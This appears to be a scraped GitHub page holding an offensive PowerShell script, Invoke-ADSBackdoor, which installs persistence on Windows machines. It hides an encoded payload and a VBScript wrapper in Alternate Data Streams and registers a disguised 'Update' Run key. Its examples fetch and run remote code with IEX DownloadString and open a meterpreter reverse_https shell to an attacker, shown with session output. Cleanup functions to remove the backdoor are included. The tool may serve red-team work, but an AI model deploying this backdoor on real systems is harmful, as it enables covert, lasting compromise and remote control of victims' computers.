Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
190 lines (152 sloc) 7.34 KB
function Invoke-ADSBackdoor{
Powershell Script that will use Alternate Data Streams to achieve persistence
Author: Matt Nelson (@enigma0x3)
This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by
using two Alternate Data Streams. The first Alternate Data stream stores the payloadand the second Alternate Data Stream
stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the
payload. When passing the arguments, you have to include the function and any parameters required by your payload.
The arguments must also be in quotation marks.
PS C:\Users\test\Desktop> Invoke-ADSBackdoor -URL -Arguments "hack"
This will use the function "Hack" in payload.ps1 for persistence
PS C:\Users\test\Desktop> Invoke-ADSBackdoor -URL -Arguments "Invoke-Shellcode
-Lhost -LPort 2222 -Payload windows/meterpreter/reverse_https -Force"
This will use the function Invoke-Shellcode in Invoke-Shellcode.ps1 to shovel meterpreter back to on port
2222 over HTTPS.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Process 4780 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\>powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-ADSBackdoor
-Arguments 'Invoke-Shellcode -LHost -LPort 666 -Payload windows/meterpreter/reverse_https -Force'"
This will execute the persistence script using Invoke-Shellcode as the payload from a meterpreter session
$TextfileName = [System.IO.Path]::GetRandomFileName() + ".txt"
$textFile = $TextfileName -split '\.',([regex]::matches($TextfileName,"\.").count) -join ''
$VBSfileName = [System.IO.Path]::GetRandomFileName() + ".vbs"
$vbsFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''
#Store Payload
$payloadParameters = "IEX ((New-Object Net.WebClient).DownloadString('$URL')); $Arguments"
$encodedPayload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payloadParameters))
$payload = "powershell.exe -ep Bypass -noexit -enc $encodedPayload"
#Store VBS Wrapper
$vbstext1 = "Dim objShell"
$vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")"
$vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($env:UserProfile\AppData:$textFile) do %i"""
$vbstext4 = "objShell.Run command, 0"
$vbstext5 = "Set objShell = Nothing"
$vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5
#Create Alternate Data Streams for Payload and Wrapper
$CreatePayloadADS = {cmd /C "echo $payload > $env:USERPROFILE\AppData:$textFile"}
$CreateWrapperADS = {cmd /C "echo $vbtext > $env:USERPROFILE\AppData:$vbsFile"}
Invoke-Command -ScriptBlock $CreatePayloadADS
"Payload stored in $env:USERPROFILE\AppData:$textFile"
Invoke-Command -ScriptBlock $CreateWrapperADS
"Wrapper stored in $env:USERPROFILE\AppData:$vbsFile"
#Persist in Registry
new-itemproperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name Update -PropertyType String -Value "wscript.exe $env:USERPROFILE\AppData:$vbsFile" -Force
"Process Complete. Persistent key is located at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Update"
function Remove-ADS {
Removes an alterate data stream from a specified location.
P/Invoke code adapted from PowerSploit's Mayhem.psm1 module.
Author: @harmj0y, @mattifestation
License: BSD 3-Clause
[CmdletBinding()] Param(
#region define P/Invoke types dynamically
# stolen from PowerSploit
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
# Define [Win32.Kernel32]::DeleteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
$Kernel32 = $TypeBuilder.CreateType()
$Result = $Kernel32::DeleteFile($ADSPath)
if ($Result){
Write-Verbose "Alternate Data Stream at $ADSPath successfully removed."
Write-Verbose "Alternate Data Stream at $ADSPath removal failure!"
function Remove-ADSBackdoor {
Removes the backdoor installed by Invoke-ADSBackdoor.
This function will remove the persistence installed by Invoke-ADSBackdoor by parsing
the run registry run key, removing the alternate data stream files, and then
removing the registry key.
# get the VBS trigger command/file location from the registry
$trigger = (gp HKCU:\Software\Microsoft\Windows\CurrentVersion\Run Update).Update
$vbsFile = $trigger.split(" ")[1]
$getWrapperADS = {cmd /C "more < $vbsFile"}
$wrapper = Invoke-Command -ScriptBlock $getWrapperADS
if ($wrapper -match 'i in \((.+?)\)')
# extract out the payload .txt file location
$textFile = $matches[1]
if($( Remove-ADS $textFile)){
"Successfully removed payload file $textFile"
"[!] Error in removing payload file $textFile"
"[!] Error: couldn't extract PowerShell script location from VBS wrapper $vbsFile"
if($(Remove-ADS $vbsFile)){
"Successfully removed wrapper file $vbsFile"
"[!] Error in removing payload file $textFile"
# remove the registry run key
Remove-ItemProperty -Force -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update;
"Successfully removed HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ 'Update' key"